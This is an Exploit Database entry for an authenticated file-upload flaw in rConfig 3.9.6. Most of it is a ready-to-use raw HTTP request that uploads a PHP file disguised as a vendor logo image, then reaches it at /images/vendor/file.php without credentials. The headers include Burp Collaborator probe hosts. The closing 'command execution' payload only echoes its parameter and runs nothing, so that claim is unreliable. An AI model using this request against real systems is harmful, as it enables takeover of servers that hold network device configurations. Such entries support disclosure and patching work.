rConfig 3.9.6 – Arbitrary File Upload to Remote Code Execution (Authenticated) (1)

• Exploit Database
• 43 阅读

• 作者： Murat ŞEKER
  日期： 2021-03-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49665/

• # Exploit Title: rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (1)
  # Date: 2021-03-17
  # Exploit Author: Murat ŞEKER
  # Vendor Homepage: https://www.rconfig.com
  # Software Link: https://www.rconfig.com/downloads/rconfig-3.9.6.zip
  # Version: rConfig v3.9.6
  # Install scripts:
  # https://www.rconfig.com/downloads/scripts/install_rConfig.sh
  # https://www.rconfig.com/downloads/scripts/centos7_install.sh
  # https://www.rconfig.com/downloads/scripts/centos6_install.sh
  # Tested on: centOS 7
  # Notes : If you want to reproduce in your lab environment follow those links :
  # http://help.rconfig.com/gettingstarted/installation
  # then
  # http://help.rconfig.com/gettingstarted/postinstall
  
  # Description:
  rConfig, the open source network device configuration management tool, is vulnerable to Arbitrary File Upload to RCE in /lib/crud/vendors.crud.php with parameter 'vendorLogo'.
  
  The following steps can be carried out in duplicating this vulnerability.
  
  - Login the rConfig application with your credentials.
  - Repeat 
  
  POST /lib/crud/vendors.crud.php HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 root@5y4o1s35jvx342apl7392qrqxh3m7aw.burpcollaborator.net
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: multipart/form-data; boundary=---------------------------122590832918963661283831488254
  Content-Length: 36619
  Origin: https://localhost
  Connection: close
  Referer: http://4hmnkrm42ug2n1to46m8lpapggmlp9e.burpcollaborator.net/ref
  Cookie: PHPSESSID=eafcfe393af7dc2a3dd9bd1ea0e9e49b
  Upgrade-Insecure-Requests: 1
  Cache-Control: no-transform
  
  -----------------------------122590832918963661283831488254
  Content-Disposition: form-data; name="vendorName"
  
  thisisrce
  -----------------------------122590832918963661283831488254
  Content-Disposition: form-data; name="vendorLogo"; filename="file.php"
  Content-Type: image/png
  
  <?php phpinfo(); ?>
  -----------------------------122590832918963661283831488254
  Content-Disposition: form-data; name="add"
  
  add
  -----------------------------122590832918963661283831488254
  Content-Disposition: form-data; name="editid"
  
  
  -----------------------------122590832918963661283831488254--
  
  
  
  - Than go to http(s)://<SERVER>/images/vendor/file.php
  
  Note: The file.php can be accessed without valid credentials.
  
  
  If you change the <?php phpinfo(); ?> to <?php echo $_GET["cmd"];?>
  
  and navigate the http(s)://<SERVER>/images/vendor/file.php?cmd=id
  
  The `id` command will execute on server.